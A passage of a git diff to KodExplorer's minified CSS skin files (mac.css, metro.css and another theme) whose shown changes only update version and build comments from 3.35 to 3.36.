background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button_style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button_style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button_style:active, body .button_style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball_input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball_input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.fileList_icon div.file .filename, body .file-draging.fileList_list div.file .filename, body .file-draging.fileList_list_split div.file .filename{ visibility:hidden;} body .file-draging.fileList_icon div.file.handle_target .filename, body .file-draging.fileList_list div.file.handle_target .filename, body .file-draging.fileList_list_split div.file.handle_target .filename{ visibility:visible;} body .fileList_icon .file{ color:#fff;} body .fileList_list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .fileList_list .file.file2{ background:rgba(221,221,221,0.02);} body .fileContiner .file, body .fileContiner .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .fileContiner .file.hover, body .fileContiner .file.select_split_parent, body .fileContiner .file2.hover, body .fileContiner .file2.select_split_parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .fileContiner .file.select, body .fileContiner .file.selectDragTemp, body .fileContiner .file2.select, body .fileContiner .file2.selectDragTemp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .fileList_list_split .split_box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .fileList_list_split .split_box.split_hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .fileList_list_split .split_box.split_select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body #list_type_list{ background:none;} body #main_title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main_title .this{ background:rgba(234,234,234,0.16);} body #main_title .filename, body #main_title .filesize, body #main_title .filetype, body #main_title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main_title .filename:hover, body #main_title .filesize:hover, body #main_title .filetype:hover, body #main_title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page_editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page_editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page_editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu_left, body #body .app_menu_left{ background:rgba(230,230,230,0.2);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background:#000000;background-image:-webkit-linear-gradient(180deg,#480552,#000000);background-image:-moz-linear-gradient(180deg,#480552,#000000);background-image:-o-linear-gradient(180deg,#480552,#000000);background-image:-ms-linear-gradient(180deg,#480552,#000000);background-image:linear-gradient(180deg,#480552,#000000);-pie-background:linear-gradient(to 180deg,#480552,#000000);background-size:cover;} body #body .menu_left h1, body #body .app_menu_left h1{ color:#fff;font-weight:400;} body #body .menu_left .setting a, body #body .app_menu_left .setting a{ color:#fff;} body #body .menu_left .setting a:hover, body #body .app_menu_left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu_left .setting a.selected, body #body .app_menu_left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .main .nav a:hover, body #body .main .nav a.this{ background:#555;border:1px solid #555;} body #body .user_list a{ color:#2a6496;} body #body .system_conennt .left_freame .left_content .ztree li a{ text-shadow:none;} body #body .system_conennt .left_freame .left_content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body #body .system_conennt .left_freame .left_content .ztree li a .sub_menu{ color:#888 !important;} body#page_explorer .task_tab, body#page_editor .task_tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body.setting_page .ztree li a{ color:inherit;}} -/* ver 3.35(2016-12-23) [build 1482476941.2394] */ \ No newline at end of file +/* ver 3.36(2016-12-30) [build 1483112854.3621] */ \ No newline at end of file diff --git a/static/style/skin/mac.css b/static/style/skin/mac.css index 2e3db23..c44aa97 100755 --- a/static/style/skin/mac.css +++ b/static/style/skin/mac.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476940.7398] */ +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112853.8722] */ body{color:#444;position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .x-folder{background-image:url("../../images/file_icon/icon_others/folder_mac.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac.png',sizingMethod='scale');}body .x-folder.small{background-image:url("../../images/file_icon/icon_others/folder_mac_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac_small.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac_small.png',sizingMethod='scale');width:18px;height:18px;}body .fileContiner .x-folder.small{margin-top:-1px;}body .topbar{background:#f1f1f1;}body .topbar .content{border-bottom:1px solid #ddd;}body .topbar .content .topbar_menu{color:#444;border-color:#dddddd;}body .topbar .content .share_title,body .topbar .content .share_info,body .topbar .content .share_info .time{color:#666;}body .topbar .content .top_right div.share_info_user{color:#666;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this{background:#e2e2e2;}body .aui_buttons{padding:10px;border-top:1px solid #eee;border-radius:0px 0px 3px 3px;}body .aui_buttons button{margin-left:15px;padding:5px 1.6em;border-radius:3px;height:auto;color:#333;border:solid 1px #ccc;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#dddddd');background:#ddd;background-image:-webkit-linear-gradient(top,#fff,#ddd);background-image:-moz-linear-gradient(top,#fff,#ddd);background-image:-o-linear-gradient(top,#fff,#ddd);background-image:-ms-linear-gradient(top,#fff,#ddd);background-image:linear-gradient(top,#fff,#ddd);-pie-background:linear-gradient(to top,#fff,#ddd);text-shadow:0px 1px 1px #ffffff;box-shadow:0 1px 0 rgba(255,255,255,0.7), 0 -1px 0 rgba(0,0,0,0.09);}body .aui_buttons button:focus{outline:none 0;box-shadow:0 0 8px rgba(0,0,0,0.2);}body .aui_buttons button:hover{color:#000;border-color:#aaa;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#dddddd');background:#ddd;background-image:-webkit-linear-gradient(top,#fff,#ddd);background-image:-moz-linear-gradient(top,#fff,#ddd);background-image:-o-linear-gradient(top,#fff,#ddd);background-image:-ms-linear-gradient(top,#fff,#ddd);background-image:linear-gradient(top,#fff,#ddd);-pie-background:linear-gradient(to top,#fff,#ddd);}body .aui_buttons button:active{border-color:#aaa;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#dddddd', endColorstr='#ffffff');background:#fff;background-image:-webkit-linear-gradient(top,#ddd,#fff);background-image:-moz-linear-gradient(top,#ddd,#fff);background-image:-o-linear-gradient(top,#ddd,#fff);background-image:-ms-linear-gradient(top,#ddd,#fff);background-image:linear-gradient(top,#ddd,#fff);-pie-background:linear-gradient(to top,#ddd,#fff);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}body .aui_buttons button[disabled]{cursor:default;color:#666;background:#DDD;border:solid 1px #999;opacity:0.5;filter:alpha(opacity=50);box-shadow:none;}body .aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}body .aui_buttons button.aui_state_highlight{color:#fff;border:solid 1px #6091FF;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);text-shadow:-1px -1px 1px #6091FF;}body .aui_buttons button.aui_state_highlight:hover{color:#fff;border-color:#145cff;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);}body .aui_buttons button.aui_state_highlight:active{border-color:#6091FF;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);}body .aui_border{border-radius:5px;overflow:hidden;}body .aui_dialog{background:#fff;border-radius:2px;}body .aui_outer{border-radius:5px;border:1px solid #ccc;-webkit-transition:box-shadow 0.1s;-moz-transition:box-shadow 0.1s;-o-transition:box-shadow 0.1s;-ms-transition:box-shadow 0.1s;transition:box-shadow 0.1s;box-shadow:0 0px 30px rgba(0,0,0,0.2);}body .aui_title{height:27px;line-height:27px;padding:0 16px 0 0px;color:#aaa;background:#f0f0f0;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#dddddd');background:#ddd;background-image:-webkit-linear-gradient(top,#f3f3f3,#ddd);background-image:-moz-linear-gradient(top,#f3f3f3,#ddd);background-image:-o-linear-gradient(top,#f3f3f3,#ddd);background-image:-ms-linear-gradient(top,#f3f3f3,#ddd);background-image:linear-gradient(top,#f3f3f3,#ddd);-pie-background:linear-gradient(to top,#f3f3f3,#ddd);border-bottom:1px solid #ccc;text-shadow:0 1px 0 #eee;text-align:center;bottom:0px;height:28px;}body .aui_title img{width:18px;}body .aui_state_focus .aui_title{color:#444;}body .aui_state_focus .aui_outer{box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #b6b6b6;}body .aui_state_lock .aui_outer{box-shadow:0 3px 30px rgba(0,0,0,0.4);}body .aui_min{right:67px;}body .aui_max{right:40px;}body .aui_close{right:13px;}body .aui_min,body .aui_max,body .aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:inherit;-moz-transition:inherit;-o-transition:inherit;-ms-transition:inherit;transition:inherit;color:#aaa;top:4px;border:1px solid #bbb;border-radius:10px;height:18px;width:18px;font-size:1em;line-height:18px;text-align:center;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#bbbbbb');background:#bbb;background-image:-webkit-linear-gradient(top,#eee,#bbb);background-image:-moz-linear-gradient(top,#eee,#bbb);background-image:-o-linear-gradient(top,#eee,#bbb);background-image:-ms-linear-gradient(top,#eee,#bbb);background-image:linear-gradient(top,#eee,#bbb);-pie-background:linear-gradient(to top,#eee,#bbb);font-family:FontAwesome;}body .aui_min:hover,body .aui_max:hover,body .aui_close:hover{box-shadow:0 1px 0 rgba(255,255,255,0.3), inset 0 1px 2px rgba(255,255,255,0.3);}body .aui_min:active,body .aui_max:active,body .aui_close:active{box-shadow:none;color:#fff !important;}body .aui_close:hover{border:1px solid #c00;color:#800000;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff1a1a', endColorstr='#cc0000');background:#c00;background-image:-webkit-linear-gradient(top,#ff1a1a,#c00);background-image:-moz-linear-gradient(top,#ff1a1a,#c00);background-image:-o-linear-gradient(top,#ff1a1a,#c00);background-image:-ms-linear-gradient(top,#ff1a1a,#c00);background-image:linear-gradient(top,#ff1a1a,#c00);-pie-background:linear-gradient(to top,#ff1a1a,#c00);}body .aui_min:hover{border:1px solid #EAB11E;color:#ab8010;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f1c964', endColorstr='#eab11e');background:#EAB11E;background-image:-webkit-linear-gradient(top,#f1c964,#EAB11E);background-image:-moz-linear-gradient(top,#f1c964,#EAB11E);background-image:-o-linear-gradient(top,#f1c964,#EAB11E);background-image:-ms-linear-gradient(top,#f1c964,#EAB11E);background-image:linear-gradient(top,#f1c964,#EAB11E);-pie-background:linear-gradient(to top,#f1c964,#EAB11E);}body .aui_max:hover{border:1px solid #169A1B;color:#0c570f;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#20dd27', endColorstr='#169a1b');background:#169A1B;background-image:-webkit-linear-gradient(top,#20dd27,#169A1B);background-image:-moz-linear-gradient(top,#20dd27,#169A1B);background-image:-o-linear-gradient(top,#20dd27,#169A1B);background-image:-ms-linear-gradient(top,#20dd27,#169A1B);background-image:linear-gradient(top,#20dd27,#169A1B);-pie-background:linear-gradient(to top,#20dd27,#169A1B);}body .aui_max,body .aui_min{display:none;}body div.dialog-simple .aui_title{text-align:left;}body div.dialog-simple .aui_min{right:67px;}body div.dialog-simple .aui_max{right:40px;}body div.dialog-simple .aui_close{right:13px;}body div.dialog-simple .aui_max,body div.dialog-simple .aui_min,body div.dialog-simple .aui_close{background:rgba(255,255,255,0.3);}body .check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}body#page_desktop .topbar{background:#eee;background-color:rgba(190,190,190,0.3);box-shadow:0 0 10px rgba(0,0,0,0.2);}body#page_desktop .topbar .content{border-bottom:1px solid #ddd;border-bottom-color:transparent;}body#page_desktop .topbar .content .topbar_menu{color:#fff;border-color:rgba(190,190,190,0.1);}body#page_desktop .topbar .content .top_right div.share_info_user{color:#fff;}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(255,255,255,0.3);}body#page_desktop .fileList_icon .file .filename{margin-top:6px;line-height:1.7em;padding-top:1px;border-radius:18px;background:rgba(0,0,0,0.15);-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;}body#page_desktop .fileList_icon .file .filename .title{display:block;overflow:hidden;white-space:nowrap;}body#page_desktop .fileList_icon .file .filename .textarea{margin-left:-1px;}body#page_desktop .fileList_icon .file.file_icon_edit.select .filename,body#page_desktop .fileList_icon .file.file_icon_edit .filename{background:none;}body#page_desktop .fileList_icon .file.select .filename,body#page_desktop .fileList_icon .file.selectDragTemp .filename,body#page_desktop .fileList_icon .file.select.hover .filename{background:rgba(0,0,0,0.2);border:none;margin-left:0px;}body .ztree li a{color:#444;border-radius:3px;margin:0 4px 0 4px;}body .fileList_icon .file{color:#444;}body .file_select{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .file_select .children_open i.font_icon{color:#fff;}body .fileList_list .file,body .fileList_list_split .file{color:#444;-webkit-transition:all 0.15;-moz-transition:all 0.15;-o-transition:all 0.15;-ms-transition:all 0.15;transition:all 0.15;border-radius:0px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;}body .fileList_list .file.select,body .fileList_list .file.selectDragTemp,body .fileList_list_split .file.select,body .fileList_list_split .file.selectDragTemp{background:#63acff;border-color:transparent;color:#fff;filter:none;border-bottom:1px solid #7dbaff !important;}body .fileList_list .file.select .children_open i.font_icon,body .fileList_list .file.selectDragTemp .children_open i.font_icon,body .fileList_list_split .file.select .children_open i.font_icon,body .fileList_list_split .file.selectDragTemp .children_open i.font_icon{color:#fff;}body .fileList_list .file.select .children_more i.font_icon,body .fileList_list .file.selectDragTemp .children_more i.font_icon,body .fileList_list_split .file.select .children_more i.font_icon,body .fileList_list_split .file.selectDragTemp .children_more i.font_icon{color:#fff !important;}body .fileList_list .file.hover,body .fileList_list_split .file.hover{background:#c9e2ff;border-color:transparent;}body .fileList_list .file.hover.select,body .fileList_list .file.hover .selectDragTemp,body .fileList_list_split .file.hover.select,body .fileList_list_split .file.hover .selectDragTemp{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .fileList_list .file.hover.select .children_open i.font_icon,body .fileList_list .file.hover .selectDragTemp .children_open i.font_icon,body .fileList_list_split .file.hover.select .children_open i.font_icon,body .fileList_list_split .file.hover .selectDragTemp .children_open i.font_icon{color:#fff;}body .fileList_list .file.file2{background:#f6f6f6;}body .fileList_list .file.file2.hover{background:#e3f0ff;border-color:transparent;}body .fileList_list .file.file2.hover.select,body .fileList_list .file.file2.hover .selectDragTemp{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .fileList_list .file.file2.hover.select .children_open i.font_icon,body .fileList_list .file.file2.hover .selectDragTemp .children_open i.font_icon{color:#fff;}body .fileList_list .file.file2.select,body .fileList_list .file.file2.selectDragTemp{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .fileList_list .file.file2.select .children_open i.font_icon,body .fileList_list .file.file2.selectDragTemp .children_open i.font_icon{color:#fff;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab .tabs .edit_changed a.close{opacity:1.0;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;}body #body .menu_left .setting a:hover{background:#e1efff;}body #body .menu_left .setting a.selected{background:#e1efff;color:#63acff;padding-left:10px;border:none;border-right:5px solid #63acff;} -/* ver 3.35(2016-12-23) [build 1482476940.7399] */ \ No newline at end of file +/* ver 3.36(2016-12-30) [build 1483112853.8722] */ \ No newline at end of file diff --git a/static/style/skin/metro.css b/static/style/skin/metro.css index 4d31033..ff20026 100755 --- a/static/style/skin/metro.css +++ b/static/style/skin/metro.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476940.9026] */ +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112854.0323] */ body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#5579BA;color:#fff;}body#page_desktop .topbar{background-color:rgba(85,121,186,0.5);}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(85,121,186,0.3);}body .topbar{background:#5579BA;}body .topbar .content .topbar_menu{border-color:#6082be;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this,body .topbar .content .top_right ul a.this{background:#6e8dc4;border-color:#6e8dc4;}body .aui_outer{*border:1px solid #5579BA;border:1px solid #5579BA \0/IE9;}body .aui_outer .aui_state_focus .aui_title,body .aui_outer .aui_title{background:#5579BA;}body .aui_outer .aui_buttons button.aui_state_highlight{background:#5579BA;}body .aui_outer .aui_buttons button.aui_state_highlight:hover{background:#6787c1;}body .aui_outer .aui_buttons button.aui_state_highlight:active{background:#8ba4d0;}body .aui_outer .aui_min:hover,body .aui_outer .aui_max:hover{background:#7996c9;}body .aui_outer .aui_min:active,body .aui_outer .aui_max:active{background:#8ba4d0;}body div.dialog-simple .aui_title{border-radius:0;}body #selContainer{border:1px solid #223454;background-color:#5579BA;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#5579BA;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{color:#3ec3ff !important;}body .file_select{background:#5579BA;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file_select .children_open i.font_icon{color:#fff;}body .file_hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.file2{background:none;}body div.fileContiner.fileList_list_split .file.select_split_parent{background:#e3f0ff;}body div.fileContiner.fileList_list_split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent{background:#5579BA;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file2{background:#fff8e8;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{background:#5579BA;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select .children_open i.font_icon,body div.fileContiner .file.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{background:#5579BA;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.hover.select .children_open i.font_icon,body div.fileContiner .file.hover.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.select.file2,body div.fileContiner .file.selectDragTemp.file2{background:#5579BA;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select.file2 .children_open i.font_icon,body div.fileContiner .file.selectDragTemp.file2 .children_open i.font_icon{color:#fff;}body div.fileContiner.fileList_list_split .file.select,body div.fileContiner.fileList_list_split .file.selectDragTemp,body div.fileContiner.fileList_list .file.select,body div.fileContiner.fileList_list .file.selectDragTemp{border-bottom:1px solid #6787c1 !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#476caf;}body #body .menu_left,body #body .app_menu_left{background:#476caf;}body #body .menu_left h1,body #body .app_menu_left h1{color:#fff;font-weight:400;}body #body .menu_left .setting a,body #body .app_menu_left .setting a{color:#fff;}body #body .menu_left .setting a:hover,body #body .app_menu_left .setting a:hover{background:#6082be;}body #body .menu_left .setting a.selected,body #body .app_menu_left .setting a.selected{background:#6787c1;border-color:#fff;color:#fff;}body #body .main .list{border-radius:0;}body #body .main .nav a:hover,body #body .main .nav a.this{background:#5579BA;border:1px solid #5579BA;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab 